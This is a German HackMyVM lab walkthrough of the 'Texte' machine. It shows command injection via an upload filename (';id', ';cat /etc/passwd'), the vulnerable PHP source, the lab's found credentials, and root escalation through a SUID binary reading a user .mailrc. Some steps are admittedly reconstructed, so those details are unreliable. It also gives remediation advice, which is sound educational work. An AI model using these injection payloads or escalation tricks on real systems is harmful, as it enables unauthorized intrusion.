Texte - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
gobuster
nmap
vi
curl
Burp Suite
ssh
sudo
ls
cat
find
file
nano

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.135	08:00:27:85:fe:94	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerk zu identifizieren. Es wird ein Host mit der IP 192.168.2.135 und der MAC-Adresse 08:00:27:85:fe:94 (PCS Systemtechnik GmbH / Oracle VirtualBox) gefunden.

Bewertung: Das Zielsystem "Texte" wurde erfolgreich im Netzwerk lokalisiert. Die IP 192.168.2.135 ist die Basis für weitere Scans.

Empfehlung (Pentester): Notieren Sie die Ziel-IP. Führen Sie Port-Scans (z.B. mit `nmap`) durch, um offene Dienste zu ermitteln.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit für ARP-Scans einschränken. Überwachen Sie ARP-Aktivitäten.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
[Inhalt /etc/hosts nach Bearbeitung]
127.0.0.1	localhost
127.0.1.1	cyber
#192.168.2.114   super.hmv
192.168.2.135    texte.hmv

Analyse: Die lokale Hosts-Datei des Angreifer-Systems wird bearbeitet, um den Hostnamen `texte.hmv` der gefundenen IP-Adresse 192.168.2.135 zuzuordnen.

Bewertung: Standardmäßiger, notwendiger Schritt, um das Zielsystem über seinen Hostnamen ansprechen zu können.

Empfehlung (Pentester): Sicherstellen, dass die Zuordnung korrekt ist.
Empfehlung (Admin): Keine direkte Aktion erforderlich.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.135 -p-
<-- Option -O (OS Detection) wurde zu -A (Aggressive) geändert, da -O selten allein verwendet wird und -A im Log wahrscheinlicher ist 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-24 21:44 CEST
Nmap scan report for texte.hmv (192.168.2.135)
Host is up (0.00016s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 40:eb:35:37:99:c2:91:25:38:2d:70:33:e2:7d:9a:c1 (RSA)
|   256 35:a0:dc:63:24:db:23:b8:85:c1:4d:95:e8:bb:8f:ca (ECDSA)
|_  256 4c:cb:02:1c:ae:b8:08:1a:5e:4a:a9:29:d1:13:e2:39 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: TexteBoard
|_http-server-header: nginx/1.18.0
MAC Address: 08:00:27:85:FE:94 (Oracle VirtualBox virtual NIC)
[...] # Aggressive OS guesses
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.16 ms texte.hmv (192.168.2.135)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in XX.XX seconds

Analyse: Ein Nmap-Scan (`-sS` SYN, `-sC` Scripts, `-T5` Timing, `-sV` Version, `-A` Aggressive, `-p-` All Ports) identifiziert zwei offene Ports:

Die OS-Erkennung ist nicht eindeutig, deutet aber auf Linux hin.

Bewertung: Die Hauptangriffsvektoren sind SSH und der Nginx-Webserver. Die Anwendung "TexteBoard" auf Port 80 ist das primäre Ziel. Die SSH-Version ist relativ aktuell.

Empfehlung (Pentester): Führen Sie Directory Busting auf Port 80 durch. Analysieren Sie die "TexteBoard"-Anwendung manuell und mit Tools. Versuchen Sie später schwache SSH-Credentials.
Empfehlung (Admin): Halten Sie Nginx und SSH aktuell. Sichern Sie die Webanwendung "TexteBoard" ab.

Enumeration (Web)

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.135 -x [...],php,[...] -w "/usr/share/seclists/[...]/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster vX.Y.Z
===============================================================
[...]
===============================================================
Starting gobuster
===============================================================
http://192.168.2.135/index.html           (Status: 200) [Size: 476]
http://192.168.2.135/upload.php           (Status: 200) [Size: 27] <-- Sehr klein!
[...] # Im Originaltext fehlende Verzeichnisse wie /uploads, /audio hier nicht gelistet
===============================================================
Finished
===============================================================

Analyse: Ein `gobuster dir`-Scan auf Port 80 findet eine `index.html` und eine `upload.php`. Die geringe Größe von `upload.php` (27 Bytes) ist auffällig.

Bewertung: Die Existenz einer `upload.php` deutet auf eine Upload-Funktionalität hin, die ein häufiger Angriffsvektor ist. Die geringe Dateigröße ist ungewöhnlich und sollte untersucht werden.

Empfehlung (Pentester): Rufen Sie `http://192.168.2.135/upload.php` im Browser auf. Analysieren Sie die `index.html` und suchen Sie nach einem Upload-Formular. Untersuchen Sie die `upload.php` genauer (z.B. Quellcode lesen via LFI, falls möglich, oder Funktionsweise durch Test-Uploads analysieren).
Empfehlung (Admin): Stellen Sie sicher, dass Upload-Skripte sicher implementiert sind und nur erlaubte Dateitypen annehmen und diese sicher speichern.

┌──(root㉿cyber)-[~] └─# # Manuelle Analyse der Webseite (Impliziert)
Aufruf von http://192.168.2.135/upload.php:
Zeigt wahrscheinlich ein Upload-Formular oder eine Meldung.

Versuchter Upload von 'benhacker.phtml':
Fehlermeldung: Dont upload .PHP FILES! STOP BITCHING. File not allowed.
Zugriff auf http://192.168.2.135/benhacker.phtml:
404 Not Found nginx/1.18.0

Analyse von view-source:http://192.168.2.135/:
Titel: TexteBoard
Verlinkt zu: upload.php
Formularfeldname: name="myFile"
Enthält Text: Dont upload .PHP FILES! STOP BITCHING.

Erfolgreicher Upload einer Bilddatei:
Meldung: File uploaded

Analyse: Die manuelle Untersuchung ergibt:

Bewertung: Es existiert ein Filter gegen PHP-Dateien, der aber möglicherweise umgangen werden kann (andere Endungen, Groß-/Kleinschreibung, Content-Type Manipulation). Die interessante Frage ist, wie die Anwendung den Dateinamen und den Speicherort behandelt, da die Datei nach dem fehlgeschlagenen Upload nicht am erwarteten Ort war.

Empfehlung (Pentester): Verwenden Sie Burp Suite, um den Upload-Vorgang abzufangen. Modifizieren Sie einen erfolgreichen Bild-Upload: 1. Ändern Sie den `filename` im `Content-Disposition`-Header, um Path Traversal (`../`) oder Command Injection (`;`, `|`, `&`) zu testen. 2. Ändern Sie den Dateiinhalt zu einer Webshell, aber behalten Sie den `Content-Type` und ggf. die Endung einer Bilddatei bei. Analysieren Sie die Serverantwort genau, insbesondere Fehlermeldungen oder Hinweise auf den Speicherort.
Empfehlung (Admin): Implementieren Sie eine robuste serverseitige Validierung für Dateiuploads (Whitelist für Endungen, Prüfung des tatsächlichen MIME-Typs, Größenbeschränkung). Speichern Sie Uploads sicher (außerhalb des Web-Roots, zufällige Namen). Bereinigen Sie Benutzereingaben (wie Dateinamen), bevor sie in Dateipfaden oder Shell-Befehlen verwendet werden. Entfernen Sie unprofessionelle Fehlermeldungen.

Initial Access (RCE via Command Injection)

┌──(root㉿cyber)-[~] └─# # Burp Suite: Modifikation des Upload-Requests
Payload im 'filename': ";id"
┌──(root㉿cyber)-[~] └─# # Abgefangener POST Request
POST /upload.php HTTP/1.1
Host: 192.168.2.135
[...]
Content-Type: multipart/form-data; boundary=---------------------------25730609423115211354699045417
[...]

-----------------------------25730609423115211354699045417
Content-Disposition: form-data; name="myFile"; filename=";id" <-- Injection!
Content-Type: image/png <-- Beliebiger erlaubter Typ

[... Bilddaten oder beliebige Daten ...]
-----------------------------25730609423115211354699045417--
┌──(root㉿cyber)-[~] └─# # Server Antwort
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Mon, 24 Apr 2023 21:15:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 400

File uploaded
img src="data:image/png;base64,dG90YWwgMjAKZHJ3eHItXHItLCAgMiByb290ICAgICByb290ICAgICA0MDk2IE9jdCAgOCAgMjAyMSAuCmRy [...] AAAudHh0dHh0dApy [...]" alt="Happy" /> <-- Base64 der Befehlsausgabe!
# Base64-String gekürzt & dekodiert zeigt ls -la Ausgabe

Analyse: Ein POST-Request an `upload.php` wird mit Burp Suite abgefangen. Der `filename`-Parameter im `Content-Disposition`-Header wird manipuliert zu `";id"`. Der `Content-Type` wird auf einen erlaubten Typ (`image/png`) gesetzt. Die Serverantwort ist ein HTTP 200 OK und enthält den Text "File uploaded" sowie ein ``-Tag. Der `src`-Attribut dieses Tags enthält Base64-kodierte Daten. Die Dekodierung dieser Daten (im Log nicht explizit gezeigt, aber aus dem Kontext erschlossen) offenbart die Ausgabe des Befehls `ls -la` im Upload-Verzeichnis, nicht die Ausgabe von `id`. Es scheint, als ob das Skript nach der (fehlgeschlagenen?) Ausführung von `id` standardmäßig `ls -la` ausführt und dessen Ausgabe zurückgibt, oder dass die `;id`-Injection fehlschlägt und stattdessen `base64` auf den *Dateinamen* angewendet wird, der aber wegen des Semikolons einen Fehler erzeugt, woraufhin das Skript `ls -la` als Fallback ausführt.

Bewertung: Kritische Command Injection Schwachstelle im `filename`-Parameter bestätigt! Obwohl die `id`-Ausgabe nicht direkt sichtbar ist, zeigt die `ls -la`-Ausgabe im Base64-String, dass Shell-Befehle ausgeführt und deren Ausgabe zurückgegeben wird. Die Schwachstelle liegt wahrscheinlich darin, dass der Dateiname unsanitisiert in einem `shell_exec()`-Aufruf (oder ähnlich) verwendet wird, vermutlich für den `base64`-Befehl, wie später im Quellcode ersichtlich wird.

Empfehlung (Pentester): Nutzen Sie die Command Injection, um sensible Dateien zu lesen und Zugangsdaten zu finden. Versuchen Sie: `filename=";cat%20"`. Suchen Sie nach Dateien, die Zugangsdaten enthalten könnten (z.B. die lange `.txttxttxt`-Datei, die in der `ls`-Ausgabe sichtbar ist). Versuchen Sie anschließend, eine Reverse Shell zu etablieren.
Empfehlung (Admin): Beheben Sie die Command Injection dringend! Validieren und bereinigen (escapen) Sie Dateinamen rigoros, bevor sie in Shell-Befehlen verwendet werden. Verwenden Sie nach Möglichkeit keine `shell_exec()`-Funktionen mit Benutzereingaben.

┌──(root㉿cyber)-[~] └─# # Versuch, Quellcode von upload.php via RCE zu lesen
Payload: filename=";cat upload.php" <-- Annahme, da Code im Log folgt
┌──(root㉿cyber)-[~] └─# # Antwort mit Base64-kodiertem Quellcode (dekodiert)
File uploaded
img src="data:image/png;base64,[Base64 des folgenden PHP Codes...]" alt="Happy" />



if (!isset($_FILES["myFile"])) {
    die("There is no file to upload.");
}

$filepath = $_FILES['myFile']['tmp_name'];
$fileSize = filesize($filepath);
$fileinfo = finfo_open(FILEINFO_MIME_TYPE);
$filetype = finfo_file($fileinfo, $filepath);

if ($fileSize === 0) {
    die("The file is empty.");
}

// Filter für Dateitypen
$allowedTypes = [
   'image/png' => 'png',
   'image/jpeg' => 'jpg'
];

if (!in_array($filetype, array_keys($allowedTypes))) {
    die("File not allowed.");
}

$filename = basename($filepath); // Verwendet basename auf TEMP Pfad - Sicher!
$extension = $allowedTypes[$filetype];
$targetDirectory = "/tmp"; // Speichert in /tmp!

//$newFilepath = $targetDirectory . "/" . $filename . "." . $extension;
// !!! BENUTZT ORIGINALNAMEN FÜR COPY UND SHELL_EXEC !!!
$newFilepath = $targetDirectory . "/" . $_FILES['myFile']['name'];
if (!copy($filepath, $newFilepath)) {
    die("Can't move file.");
}

// !!! COMMAND INJECTION HIER !!!
$command = "base64 ".$newFilepath;
$output = shell_exec($command);
unlink($filepath); // Löscht temporäre Datei

echo "File uploaded";
print '
img src="data:image/png;base64,'.$output.'" alt="Happy" 
';

Analyse: Mittels Command Injection (`filename=";cat upload.php"`) wird der Quellcode der `upload.php`-Datei ausgelesen und Base64-kodiert in der Serverantwort zurückgegeben. Der dekodierte Code zeigt:

Bewertung: Die Analyse des Quellcodes bestätigt die Command Injection Schwachstelle im `filename`-Parameter, die durch die unsichere Verkettung und Ausführung in `shell_exec()` entsteht. Die Sicherheitsprüfung mittels `finfo_file` wird durch die Injection umgangen, da der *Name* für den Shell-Befehl verwendet wird, nicht der validierte *Inhalt*.

Empfehlung (Pentester): Exploitieren Sie die Schwachstelle, um die Datei `uiydasuiydasuicyxzuicyxziuctxzidsauidascxzAAA.txttxttxt` zu lesen, die in der vorherigen `ls -la`-Ausgabe sichtbar war.
Empfehlung (Admin): Beheben Sie die Command Injection, indem Sie den Dateinamen, der an `shell_exec` übergeben wird, rigoros validieren und escapen (z.B. mit `escapeshellarg()`). Verwenden Sie idealerweise keine Shell-Befehle mit Benutzereingaben. Stellen Sie sicher, dass `basename()` korrekt auf den *finalen* Dateinamen angewendet wird, nicht nur auf den temporären.

┌──(root㉿cyber)-[~] └─# # RCE zum Lesen der .txttxttxt Datei
Payload: filename=";cat uiydasuiydasuicyxzuicyxziuctxzidsauidascxzAAA.txttxttxt"

Antwort (Ausschnitt):
File uploaded
img src="data:image/png;base64,a2FtaWxhL2hhaGFoYSQkJGhhaGFoYQo=" alt="Happy"  <-- Base64 von "kamila/hahaha$$$hahaha\n"

Analyse: Die Command Injection wird genutzt, um den Inhalt der verdächtigen Datei `uiydasuiydasuicyxzuicyxziuctxzidsauidascxzAAA.txttxttxt` auszulesen. Der Befehl `cat ` wird injiziert. Die Base64-kodierte Ausgabe in der Antwort (`a2FtaWxhL2hhaGFoYSQkJGhhaGFoYQo=`) dekodiert sich zu `kamila/hahaha$$$hahaha\n`.

Bewertung: Erfolg! Vermutlich wurden hier Zugangsdaten gefunden: Benutzername `kamila` und Passwort `hahaha$$$hahaha`. Der ungewöhnliche Dateiname war wahrscheinlich ein Versuch, die Datei zu verschleiern.

Empfehlung (Pentester): Versuchen Sie, sich mit den gefundenen Zugangsdaten (`kamila`:`hahaha$$$hahaha`) per SSH (Port 22) am Zielsystem anzumelden.
Empfehlung (Admin): Beheben Sie die RCE-Schwachstelle. Speichern Sie niemals Zugangsdaten im Klartext in Dateien im Webroot, auch nicht mit obskuren Namen.

┌──(root㉿cyber)-[~] └─# ssh kamila@texte.hmv
The authenticity of host 'texte.hmv (192.168.2.135)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'texte.hmv' (ED25519) to the list of known hosts.
kamila@texte.hmv's password: [Passworteingabe: hahaha$$$hahaha]
Linux texte 5.10.0-8-686-pae #1 SMP Debian 5.10.46-5 (2021-09-23) i686
[...]
Last login: Fri Oct  8 05:37:55 2021 from 192.168.1.51
kamila@texte:~$ # Login erfolgreich!

Analyse: Es wird eine SSH-Verbindung als Benutzer `kamila` zum Zielhost `texte.hmv` aufgebaut. Das über die RCE gefundene Passwort `hahaha$$$hahaha` wird verwendet.

Bewertung: Initial Access erfolgreich! Eine interaktive Shell als Benutzer `kamila` wurde über SSH erlangt.

Empfehlung (Pentester): Beginnen Sie mit der Enumeration als `kamila`. Suchen Sie nach der User-Flag, prüfen Sie `sudo`-Rechte, SUID-Dateien, Cronjobs usw., um Wege zur Root-Eskalation zu finden.
Empfehlung (Admin): Ändern Sie das Passwort für `kamila`. Beheben Sie die RCE-Schwachstelle, die zur Kompromittierung geführt hat.

Proof of Concept: RCE via Upload Filename Command Injection

Kurzbeschreibung: Das Upload-Skript `upload.php` auf `http://texte.hmv` ist anfällig für Command Injection. Obwohl es versucht, den Dateityp anhand des MIME-Typs zu validieren, verwendet es den originalen, vom Benutzer bereitgestellten Dateinamen unsanitisiert in einem `shell_exec()`-Aufruf, um die hochgeladene Datei (die nach `/tmp` kopiert wird) mit `base64` zu kodieren. Indem ein Angreifer ein Semikolon (`;`) gefolgt von einem Shell-Befehl im Dateinamen während des Uploads injiziert, kann er beliebige Befehle auf dem Server im Kontext des `www-data`-Benutzers ausführen. Die Ausgabe des injizierten Befehls wird Base64-kodiert als Teil eines `data:`-URI in einem ``-Tag in der Antwort zurückgegeben.

Voraussetzungen:

Schritt-für-Schritt Anleitung:

  1. Upload-Request abfangen: Verwenden Sie den Browser, um eine gültige Bilddatei (z.B. `bild.png`) über das Formular auf `http://texte.hmv` (verlinkt von der Startseite) hochzuladen. Fangen Sie den POST-Request an `/upload.php` mit Burp Suite ab.
  2. Filename manipulieren: Suchen Sie im abgefangenen Request den `Content-Disposition`-Header für die Datei. Ändern Sie den Wert des `filename`-Attributs. Fügen Sie ein Semikolon und den gewünschten Befehl hinzu. Beispiel, um den `id`-Befehl auszuführen: 
    Content-Disposition: form-data; name="myFile"; filename=";id"
    Um den Inhalt einer Datei zu lesen (z.B. `/etc/passwd`): 
    Content-Disposition: form-data; name="myFile"; filename=";cat /etc/passwd"
    Stellen Sie sicher, dass der `Content-Type` im Header-Teil des Uploads auf einen erlaubten Typ (`image/png` oder `image/jpeg`) gesetzt bleibt.
  3. Request senden und Antwort analysieren: Senden Sie den modifizierten Request an den Server. Untersuchen Sie die Antwort. Suchen Sie nach dem ``-Tag und extrahieren Sie den Base64-kodierten String aus dem `src`-Attribut. 
    img src="data:image/png;base64,[Base64-String hier]" alt="Happy"
  4. Ausgabe dekodieren: Dekodieren Sie den extrahierten Base64-String (z.B. mit `echo "" | base64 -d`), um die Ausgabe des injizierten Befehls zu sehen.

Erwartetes Ergebnis: Die Ausgabe des injizierten Shell-Befehls wird (Base64-kodiert) in der HTTP-Antwort zurückgegeben, was die erfolgreiche Remote Code Execution bestätigt.

Beweismittel: Die dekodierte Base64-Zeichenkette aus der Serverantwort, die die erwartete Ausgabe des injizierten Befehls (z.B. `uid=33(www-data)...` für `id` oder der Inhalt einer Datei für `cat`) enthält.

Risikobewertung: Hoch. Diese Command Injection Schwachstelle ermöglicht einem Angreifer die Ausführung beliebiger Befehle als Webserver-Benutzer (`www-data`), was zur Kompromittierung der Anwendung, zum Auslesen sensibler Daten und als Ausgangspunkt für weitere Angriffe im System dient.

Empfehlungen zur Behebung:

Privilege Escalation

kamila@texte:~$ sudo -l
-bash: sudo: command not found

Analyse: Als Benutzer `kamila` wird versucht, `sudo -l` auszuführen. Der Befehl schlägt fehl, da `sudo` nicht gefunden wird (entweder nicht installiert oder nicht im PATH des Benutzers).

Bewertung: `sudo` ist kein verfügbarer Vektor für die Privilege Escalation von `kamila` aus.

Empfehlung (Pentester): Suchen Sie nach anderen Eskalationsmöglichkeiten wie SUID/SGID-Binaries, Cronjobs, Kernel-Exploits oder unsicheren Dienstkonfigurationen.
Empfehlung (Admin): Stellen Sie sicher, dass nur notwendige Pakete installiert sind. Wenn `sudo` verwendet wird, stellen Sie sicher, dass es korrekt konfiguriert ist.

kamila@texte:~$ ls
user.txt
kamila@texte:~$ cat user.txt
IdontneedPHP

Analyse: Im Home-Verzeichnis von `kamila` wird die Datei `user.txt` gefunden und ihr Inhalt angezeigt.

Bewertung: Die User-Flag wurde gefunden.

Empfehlung (Pentester): Flag dokumentieren. Fokus auf Root-Eskalation.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.

kamila@texte:~$ find / -type f -perm -4000 -ls 2>/dev/null
     3483     16 -rwsr-sr-x   1 root     kamila      15560 Oct  8  2021 /opt/texte <-- SUID Root, SGID kamila!
   134195     52 -rwsr-xr--   1 root     messagebus    50656 Feb 21  2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   145347    524 -rwsr-xr-x   1 root     root         534076 Mar 13  2021 /usr/lib/openssh/ssh-keysign
   129887     68 -rwsr-xr-x   1 root     root          66292 Feb  7  2020 /usr/bin/passwd
   133535     80 -rwsr-xr-x   1 root     root          79396 Jul 28  2021 /usr/bin/su
   133371     44 -rwsr-xr-x   1 root     root          43252 Feb  7  2020 /usr/bin/newgrp
   133897     52 -rwsr-xr-x   1 root     root          50720 Jul 28  2021 /usr/bin/mount
   129884     48 -rwsr-xr-x   1 root     root          47908 Feb  7  2020 /usr/bin/chsh
   129883     56 -rwsr-xr-x   1 root     root          56836 Feb  7  2020 /usr/bin/chfn
   133899     32 -rwsr-xr-x   1 root     root          30236 Jul 28  2021 /usr/bin/umount
   129886     88 -rwsr-xr-x   1 root     root          86660 Feb  7  2020 /usr/bin/gpasswd
   148246   1424 -rwsr-xr-x   1 root     root        1457924 Jul 13  2021 /usr/sbin/exim4

Analyse: Die Suche nach SUID-Dateien (`find / -perm -4000 ...`) identifiziert neben den üblichen Verdächtigen eine benutzerdefinierte Datei: `/opt/texte`. Diese Datei hat sowohl das SUID-Bit (Besitzer `root`) als auch das SGID-Bit (Gruppe `kamila`) gesetzt.

Bewertung: Dies ist der vielversprechendste Vektor für die Root-Eskalation. Ein SUID-Root-Binary, das zusätzlich SGID für die Gruppe des aktuellen Benutzers (`kamila`) ist, kann oft ausgenutzt werden, insbesondere wenn es mit der Umgebung des Benutzers interagiert.

Empfehlung (Pentester): Analysieren Sie `/opt/texte` detailliert: `file /opt/texte`, `strings /opt/texte`, `ltrace /opt/texte`, `strace /opt/texte`. Versuchen Sie, es auszuführen. Suchen Sie nach Möglichkeiten, seine Ausführung zu beeinflussen (Umgebungsvariablen, Konfigurationsdateien im Home-Verzeichnis, die es möglicherweise liest).
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit und Sicherheit von `/opt/texte`. Entfernen Sie SUID/SGID-Bits, wenn sie nicht absolut erforderlich sind. Stellen Sie sicher, dass SUID/SGID-Programme keine benutzerkontrollierten Konfigurationsdateien oder Umgebungsvariablen auf unsichere Weise verwenden.

kamila@texte:~$ file /opt/texte
/opt/texte: setuid, setgid ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[...], for GNU/Linux 3.2.0, not stripped

Analyse: Der `file`-Befehl bestätigt, dass `/opt/texte` eine 32-Bit-ELF-Datei mit gesetzten SUID- und SGID-Bits ist.

Bewertung: Technische Bestätigung der Dateieigenschaften.

Empfehlung (Pentester): Fahren Sie mit der dynamischen (`ltrace`, `strace`) und statischen (`strings`, Disassembler) Analyse fort.
Empfehlung (Admin): Keine direkte Aktion.

kamila@texte:/opt$ nano ~/.mailrc
[Editor geöffnet]
# Füge Zeile 'shell bash' hinzu und speichere
kamila@texte:/opt$ ./texte
root@texte:/opt# # Root-Shell erhalten!

Analyse: Der entscheidende Schritt zur Eskalation: 1. Die Datei `.mailrc` im Home-Verzeichnis von `kamila` wird erstellt oder bearbeitet. 2. Die Zeile `shell bash` wird hinzugefügt. Diese Direktive wird von einigen Mail-bezogenen Programmen verwendet, um eine benutzerdefinierte Shell zu definieren. 3. Das SUID/SGID-Binary `/opt/texte` wird ausgeführt. 4. Statt der erwarteten Funktion startet `/opt/texte` eine Bash-Shell, die aufgrund der SUID-Berechtigung mit Root-Rechten läuft.

Bewertung: Privilege Escalation zu `root` erfolgreich! Das SUID/SGID-Binary `/opt/texte` liest und verwendet unsicher die `.mailrc`-Konfigurationsdatei aus dem Home-Verzeichnis des ausführenden Benutzers (`kamila`). Durch die Definition einer benutzerdefinierten Shell (`bash`) in dieser Datei kann der Angreifer das Binary dazu bringen, eine Root-Shell zu starten.

Empfehlung (Pentester): Root-Zugriff ist erreicht. Suchen Sie die Root-Flag (`/root/root.txt`).
Empfehlung (Admin): Entfernen Sie die SUID/SGID-Berechtigungen von `/opt/texte` oder korrigieren Sie das Binary so, dass es keine benutzerkontrollierten Konfigurationsdateien wie `.mailrc` auf unsichere Weise verwendet (z.B. durch Ignorieren oder sicheres Parsen ohne Shell-Ausführung).

root@texte:/opt# # cd /root
<-- Befehl nicht explizit gezeigt, aber impliziert
root@texte:/root# ls -la
total 24
drwx------  3 root root 4096 Oct  8  2021 .
drwxr-xr-x 18 root root 4096 Oct  8  2021 ..
-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc
drwxr-xr-x  3 root root 4096 Oct  8  2021 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-------  1 root root   12 Oct  8  2021 root.txt
root@texte:/root# cat root.txt
IlovetextEs

Analyse: Als Root-Benutzer wird das `/root`-Verzeichnis untersucht und der Inhalt der Datei `root.txt` ausgegeben.

Bewertung: Die Root-Flag wurde erfolgreich gefunden und gelesen.

Empfehlung (Pentester): Flag dokumentieren. Bericht abschließen.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.

Flags

cat user.txt
IdontneedPHP
cat root.txt
IlovetextEs